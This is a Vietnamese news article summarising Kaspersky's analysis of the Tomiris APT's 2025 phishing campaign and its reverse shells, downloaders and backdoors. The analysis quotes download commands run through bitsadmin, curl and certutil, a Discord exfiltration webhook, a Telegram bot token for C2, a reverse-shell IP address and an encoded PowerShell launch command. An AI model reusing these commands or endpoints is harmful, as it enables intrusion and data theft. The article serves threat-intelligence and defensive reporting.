Phân tích hoạt động của nhóm tin tặc APT Tomiris

10:43 | 03/12/2025

Theo báo cáo của Kaspersky, hãng bảo mật này phát hiện các hoạt động độc hại mới của tin tặc Tomiris kể từ đầu năm 2025. Các cuộc tấn công này nhắm vào các bộ ngoại giao, tổ chức liên chính phủ và các cơ quan chính phủ, cho thấy sự tập trung vào cơ sở hạ tầng chính trị và ngoại giao có giá trị cao. Trong một số trường hợp, các nhà nghiên cứu theo dõi hành động của tác nhân đe dọa từ giai đoạn lây nhiễm ban đầu đến giai đoạn triển khai các framework sau khi khai thác. Những cuộc tấn công này cho thấy sự thay đổi đáng chú ý trong chiến thuật của Tomiris. Để làm sáng tỏ hơn, bài viết sẽ cùng tìm hiểu khám phá cách thức hoạt động của nhóm tin tặc APT này, dựa trên phân tích của Kaspersky.

TỔNG QUAN

Theo các nhà nghiên cứu, các tin tặc đã tăng cường sử dụng các phần mềm độc hại lạm dụng các dịch vụ phổ biến, ví dụ Telegram và Discord làm máy chủ điều khiển và ra lệnh (C2). Phương pháp tiếp cận này có thể nhằm mục đích kết hợp lưu lượng độc hại với hoạt động dịch vụ hợp pháp để tránh bị các công cụ bảo mật phát hiện.

Hầu hết các vụ lây nhiễm đều bắt đầu bằng việc triển khai các công cụ reverse shell bằng nhiều ngôn ngữ lập trình khác nhau, bao gồm Go, Rust, C/C#/C++ và Python. Một số sau đó cung cấp một framework C2 mã nguồn mở như Havoc hoặc AdaptixC2.

PHÂN TÍCH KỸ THUẬT

Truy cập ban đầu

Quá trình lây nhiễm bắt đầu với một email lừa đảo chứa tệp lưu trữ độc hại được bảo vệ bằng mật khẩu, thông tin của mật khẩu này cũng hiển thị trong nội dung email. Theo các nhà nghiên cứu, tệp lưu trữ bao gồm một tệp thực thi động. Trong một số trường hợp, biểu tượng của tệp thực thi ngụy trang thành biểu tượng tài liệu Office và tên tệp có phần mở rộng kép, chẳng hạn như .doc.exe. Tuy nhiên, các tệp thực thi độc hại không có biểu tượng hoặc phần mở rộng kép cũng thường gặp trong tệp lưu trữ. Những tệp này thông thường có tên rất dài và không được hiển thị đầy đủ khi xem tệp, do đó phần mở rộng của chúng vẫn bị ẩn khỏi người dùng.

Hình 1. Nội dung email lừa đảo bao gồm tệp lưu trữ độc hại

Hình 2. Ví dụ về một kho lưu trữ có tệp thực thi động

Khi tệp được kích hoạt, hệ thống sẽ bị nhiễm mã độc. Tuy nhiên, các mã độc khác nhau thường xuất hiện dưới cùng một tên tệp trong kho lưu trữ, đồng thời hành động của kẻ tấn công cũng khác tùy từng trường hợp.

Reverse shell Tomiris C/C++

Hình 3. Sơ đồ lây nhiễm của reverse shell Tomiris C/C++

Mã độc này bản chất là một reverse shell chờ lệnh từ kẻ tấn công. Sau khi kiểm tra nhanh môi trường, chúng sẽ đưa ra lệnh tải xuống một backdoor khác là AdaptixC2. Thực tế, AdaptixC2 là một framework mô-đun dùng cho việc khai thác sau cùng, với mã nguồn có sẵn trên GitHub. Kẻ tấn công sử dụng các tiện ích tích hợp sẵn trong hệ điều hành như bitsadmin, curl, PowerShell và certutil để tải xuống AdaptixC2. Kịch bản điển hình khi sử dụng reverse shell Tomiris C/C++ như sau:

- Trinh sát môi trường: Kẻ tấn công thu thập nhiều thông tin hệ thống khác nhau, bao gồm thông tin về người dùng hiện tại, cấu hình mạng,…

- Tải xuống phần mềm độc hại giai đoạn tiếp theo: Kẻ tấn công cố gắng tải xuống AdaptixC2 từ nhiều URL. Ví dụ thông qua các câu lệnh như: bitsadmin /transfer www /download http:///winupdate[.]exe $public\libraries\winvt[.]exe; curl -o $public\libraries\service.exe http:///service[.]exe; certutil -urlcache -f https:///AkelPad.rar $public\libraries\AkelPad[.]rar

- Xác minh tải xuống thành công: Sau khi tải xuống hoàn tất, kẻ tấn công sẽ kiểm tra xem AdaptixC2 có trong thư mục đích hay không và chưa bị các giải pháp bảo mật xóa dấu vết.

- Thiết lập tính bền vững cho payload được tải xuống: Payload độc hại tải xuống sẽ được thêm vào key registry Run.

- Xác minh sự thành công của việc duy trì: Cuối cùng, kẻ tấn công kiểm tra xem phần mềm độc hại có nằm trong key registry Run hay không.

Năm nay, Kaspersky đã quan sát thấy ba biến thể của reverse shell C/C++, mà tính năng cuối cùng của chúng là cung cấp quyền truy cập vào bảng điều khiển từ xa. Cả ba biến thể đều có chức năng tối thiểu - chúng không tự sao chép cũng không tồn tại trong hệ thống. Về bản chất, nếu tiến trình đang chạy bị chấm dứt trước khi người vận hành tải xuống và thêm mã độc giai đoạn tiếp theo vào sổ registry, thì quá trình lây nhiễm sẽ kết thúc ngay lập tức.

Biến thể đầu tiên có thể dựa trên mã nguồn Tomiris Downloader được phát hiện vào năm 2021. Điều này thể hiện rõ qua việc sử dụng cùng một chức năng để ẩn cửa sổ ứng dụng.

Hình 4. Mã của chức năng ẩn cửa sổ trong Tomiris C/C++ và Tomiris Downloader

Downloader Tomiris Rust

Downloader Tomiris Rust là một trojan chưa được ghi chép trước đây, được viết bằng Rust. Mặc dù kích thước tệp tương đối lớn, nhưng chức năng của nó lại rất hạn chế.

Hình 5. Sơ đồ lây nhiễm của Tomiris Rust Downloader

Khi thực thi, trojan đầu tiên sẽ thu thập thông tin hệ thống bằng cách chạy một loạt lệnh điều khiển theo trình tự: “cmd” /C “ipconfig /all”; “cmd” /C “echo %username%”; “cmd” /C hostname; “cmd” /C ver; “cmd” /C curl hxxps://ipinfo[.]io/ip; “cmd” /C curl hxxps://ipinfo[.]io/country.

Sau đó, nó tìm kiếm các tệp và biên dịch danh sách đường dẫn của chúng. Trojan nhắm đến các tệp có phần mở rộng sau: jpg, jpeg, png, txt, rtf, pdf, xlsx và docx. Các tệp này phải nằm trên các ổ đĩa C:/, D:/, E:/, F:/, G:/, H:/, I:/ hoặc J:/. Đồng thời, nó bỏ qua các đường dẫn chứa các chuỗi sau: “wrangler”, “git”, “node_modules”, “Program Files”, “Program Files (x86)”, “Windows”, “Program Data” và “AppData”.

Yêu cầu POST được sử dụng để gửi thông tin hệ thống thu thập và danh sách các đường dẫn tệp đã phát hiện đến Discord qua URL: hxxps://discordapp[.]com/api/webhooks/1392383639450423359/TmFw-WY-u3D3HihXqVOOinL73OKqXvi69IBNh_rr15STd3FtffSP2BjAH59ZviWKWJRX

Điều đáng chú ý là chỉ có đường dẫn đến các tệp được phát hiện mới được gửi đến Discord, trojan không truyền các tệp thực tế.

Hình 6. Ví dụ về “payload_json”

Sau khi gửi yêu cầu, trojan tạo hai tập lệnh, script[.]vbs và script[.]ps1 trong thư mục tạm thời. Trước khi nhúng script[.]ps1 vào đĩa, Rust Downloader tạo một URL từ các phần được mã hóa cứng và thêm nó vào tập lệnh. Sau đó, trojan này thực thi script[.]vbs bằng cscript, mà tiện ích này lại chạy script[.]ps1 qua PowerShell.

Tập lệnh script[[.]]ps1 thực thi trong một vòng lặp vô hạn với độ trễ một phút, nó cố gắng tải xuống một tệp ZIP từ URL do downloader cung cấp, giải nén thành %TEMP%\rfolder và thực thi tất cả các tệp giải nén có phần mở rộng exe. Placeholder trong script[.]ps1 được thay thế bằng tên của máy tính bị lây nhiễm.

Điều đáng chú ý là trong ít nhất một trường hợp, kho lưu trữ đã tải xuống có chứa tệp thực thi liên quan đến Havoc, một framework khai thác mã nguồn mở khác.

Reverse shell Tomiris Python Discord

Trojan được viết bằng Python và biên dịch thành tệp thực thi bằng PyInstaller. Các nhà nghiên cứu cho biết, hàm main cũng được làm rối (obfuscation) với PyArmor. Trojan đóng vai trò là giai đoạn lây nhiễm ban đầu và chủ yếu được sử dụng để trinh sát và tải xuống các mã độc tiếp theo. Các nhà nghiên cứu đã quan sát thấy nó tải xuống AdaptixC2 và Tomiris Python FileGrabber.

Hình 7. Sơ đồ lây nhiễm Discord của Tomiris Python

Trojan này dựa trên gói Python “discord”, triển khai giao tiếp qua Discord và sử dụng ứng dụng nhắn tin này làm kênh C2. Mã của nó chứa một URL để giao tiếp với máy chủ Discord C2 và một token xác thực. Về mặt chức năng, Trojan hoạt động như một revere shell, nhận các lệnh từ C2, thực thi chúng trên hệ thống bị lây nhiễm và gửi kết quả thực thi trở lại C2.

Hình 8. Revere shell Python Discord

Tomiris Python FileGrabber

Như đã đề cập trước đó, trojan này được cài đặt vào hệ thống thông qua reverse shell Tomiris Python Discord. Kẻ tấn công thực hiện việc này bằng cách thực thi lệnh console sau: cmd[.]exe /c “curl -o $public\videos\offel[.]exe http:///offel[.]exe”.

Trojan được viết bằng Python và biên dịch thành một tệp thực thi PyInstaller, nó thu thập các tệp có phần mở rộng sau vào một tệp ZIP: jpg, png, pdf, txt, docx và doc. Tệp kết quả được gửi đến máy chủ C2 thông qua yêu cầu HTTP POST. Trong quá trình thu thập tệp, các tên thư mục sau sẽ bị bỏ qua: “AppData”, “Program Files”, “Windows”, “Temp”, “System Volume Information”, “$RECYCLE.BIN” và “bin”.

Hình 9. Python FileGrabber

Backdoor Distopia

Hình 10. Sơ đồ lây nhiễm backdoor Distopia

Backdoor này hoàn toàn dựa trên dự án GitHub “dystopia-c2” và tệp thực thi được tạo bằng PyInstaller. Distopia cho phép chạy các lệnh console trên hệ thống bị nhiễm, tải xuống và upload các tệp cũng như chấm dứt các tiến trình. Trong một trường hợp, các nhà nghiên cứu đã có thể theo dõi một lệnh được sử dụng để tải xuống một Trojan khác - Tomiris Python Telegram.

Hình 11. Chức năng của backdoor Distopia

Revere shell Tomiris Python Telegram

Trojan được viết bằng Python và biên dịch thành tệp thực thi với PyInstaller, nó sử dụng Telegram để giao tiếp với máy chủ C2, với mã chứa token xác thực và “chat_id” để kết nối với bot và nhận lệnh thực thi. Về mặt chức năng, đây là một reverse shell có khả năng nhận lệnh từ C2, thực thi chúng trên hệ thống bị lây nhiễm và gửi kết quả thực thi trở lại C2.

Ban đầu, các nhà nghiên cứu cho rằng đây là phiên bản cập nhật của bot Telemiris mà nhóm này đã sử dụng trước đó. Tuy nhiên, sau khi so sánh các tập lệnh gốc của cả hai Trojan, các nhà nghiên cứu kết luận rằng chúng là những công cụ độc hại riêng biệt.

Hình 12. Python Telegram (bên phải) và Telemiris (bên trái)

Các phần mềm độc hại khác được sử dụng trong giai đoạn lây nhiễm ban đầu

Dưới đây, bài viết sẽ liệt kê chung về một số mã độc cũng đã được phát tán trong kho lưu trữ lừa đảo.

Reverse shell Tomiris C# Telegram

Một reverse shell khác sử dụng Telegram để nhận lệnh. Lần này, shell được viết bằng C# và hoạt động bằng thông tin đăng nhập sau: URL = hxxps://api.telegram[.]org/bot7804558453:AAFR2OjF7ktvyfygleIneu_8WDaaSkduV7k/ CHAT_ID = 7709228285

Hình 13. Reverse shell Tomiris C# Telegram

JLORAT

Một trong những mã độc lâu đời nhất được tin tặc sử dụng hầu như không có thay đổi nào kể từ lần đầu tiên được phát hiện vào năm 2022. Mã độc này có khả năng chụp ảnh màn hình, thực thi lệnh điều khiển và upload tệp từ hệ thống bị nhiễm lên C2. Phiên bản hiện tại của trojan này chỉ thiếu lệnh download.

Reverse shell Tomiris Rust

Trojan này là một reverse shell đơn giản được viết bằng ngôn ngữ lập trình Rust. Không giống như các reverse shell khác mà kẻ tấn công sử dụng, nó sử dụng PowerShell làm shell thay vì cmd[.]exe.

Hình 14. Chuỗi được sử dụng bởi hàm main của Tomiris Rust

Reverse shell Tomiris Go

Tomiris Go  được viết bằng ngôn ngữ Go, nó thiết lập kết nối TCP đến địa chỉ IP 62[.]113[.]114[.]209 trên cổng 443, chạy cmd[.]exe và chuyển hướng đầu vào, đầu ra dòng lệnh đến kết nối đã thiết lập.

Backdoor Tomiris PowerShell Telegram

Tệp thực thi gốc là một trình đóng gói đơn giản được viết bằng C++, nó trích xuất một tập lệnh PowerShell mã hóa Base64 và thực thi bằng dòng lệnh sau: “powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABjAGgAYQB0AF8AaQBkACAAPQAgACIANwA3ADAAOQAyADIAOAAyADgANQ…………”

Tập lệnh được trích xuất là một backdoor PowerShell, sử dụng Telegram để giao tiếp với máy chủ C2, nó chỉ có hai lệnh chính:

- /upload: Tải xuống tệp từ Telegram bằng cách sử dụng mã định danh file_Id làm tham số và lưu vào “C:\Users\Public\Libraries\”, với tên được chỉ định trong tham số file_name.

- /go: Thực hiện lệnh được cung cấp trong bảng điều khiển và trả về kết quả dưới dạng tin nhắn Telegram.

Hình 15. Chuỗi được sử dụng bởi hàm main của Tomiris PowerShell Telegram Backdoor

Reverse shell Tomiris C#

Tomiris C#  không hỗ trợ bất kỳ lệnh bổ sung nào ngoài lệnh console.

Hình 16. Hàm main của C# reverse shell Tomiris

NẠN NHÂN

Hơn 50% email lừa đảo và tệp tin giả mạo trong chiến dịch này sử dụng tên người Nga và chứa văn bản tiếng Nga, cho thấy mục tiêu chính của chúng là người dùng hoặc tổ chức nói tiếng Nga. Các email còn lại được thiết kế riêng cho mục tiêu ở Turkmenistan, Kyrgyzstan, Tajikistan và Uzbekistan, bao gồm nội dung bằng ngôn ngữ quốc gia của họ.

KẾT LUẬN

Chiến dịch Tomiris 2025 tận dụng các mô-đun phần mềm độc hại đa ngôn ngữ để tăng cường tính linh hoạt trong vận hành và tránh bị phát hiện bằng cách ít bị nghi ngờ hơn. Mục tiêu chính là thiết lập quyền truy cập từ xa vào các hệ thống mục tiêu và sử dụng chúng làm framework để triển khai các công cụ bổ sung, bao gồm AdaptixC2 và Havoc, cho mục đích khai thác và duy trì lâu dài.

Sự phát triển về chiến thuật nhấn mạnh tập trung của các tác nhân đe dọa vào khả năng ngụy trang, tính dai dẳng lâu dài và mục tiêu chiến lược nhắm vào chính phủ và các tổ chức liên chính phủ. Việc sử dụng các ứng dụng nhắn tin phổ biến cho liên lạc C2 làm nổi bật yêu cầu về các chiến lược phát hiện tiên tiến, chẳng hạn như phân tích hành vi và kiểm tra lưu lượng mạng, để xác định và giảm thiểu hiệu quả các mối đe dọa này.

Để lại bình luận